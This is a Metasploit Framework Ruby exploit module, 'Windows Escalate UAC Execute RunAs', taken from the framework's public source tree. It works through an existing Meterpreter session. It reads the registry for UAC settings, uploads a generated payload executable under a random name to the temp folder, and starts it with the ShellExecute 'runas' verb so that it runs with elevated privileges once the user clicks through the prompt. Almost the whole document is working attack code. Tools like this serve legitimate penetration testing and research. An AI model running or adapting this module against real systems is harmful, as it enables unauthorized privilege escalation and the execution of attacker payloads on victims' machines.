metasploit-framework/modules/exploits/windows/local/ask.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate UAC Execute RunAs',
      'Description'   => %q{
        This module will attempt to elevate execution level using
        the ShellExecute undocumented RunAs flag to bypass low
        UAC settings.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'mubix' ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [ [ 'Windows', {} ] ],
      'DefaultTarget' => 0,
      'References'    => [
        [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
      ],
      'DisclosureDate'=> "Jan 3 2012"
    ))

    register_options([
      OptString.new("FILENAME", [ false, "File name on disk"]),
      OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
      OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
    ])

  end

  def exploit

    root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
    open_key = session.sys.registry.open_key(root_key, base_key)
    lua_setting = open_key.query_value('EnableLUA')

    if lua_setting.data == 1
      print_status "UAC is Enabled, checking level..."
    else
      print_good "UAC is not enabled, no prompt for the user"
    end

    uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')

    case uac_level.data
    when 2
      print_status "UAC is set to 'Always Notify'"
      print_status "The user will be prompted, wait for them to click 'Ok'"
    when 5
      print_debug "UAC is set to Default"
      print_debug "The user will be prompted, wait for them to click 'Ok'"
    when 0
      print_good "UAC is not enabled, no prompt for the user"
    end


    #
    # Generate payload and random names for upload
    #
    payload = generate_payload_exe

    if datastore["FILENAME"]
      payload_filename = datastore["FILENAME"]
    else
      payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
    end

    if datastore["PATH"]
      payload_path = datastore["PATH"]
    else
      payload_path = session.sys.config.getenv('TEMP')
    end

    cmd_location = "#{payload_path}\\#{payload_filename}"

    if datastore["UPLOAD"]
      print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
      fd = session.fs.file.new(cmd_location, "wb")
      fd.write(payload)
      fd.close
    end

    session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)

  end
end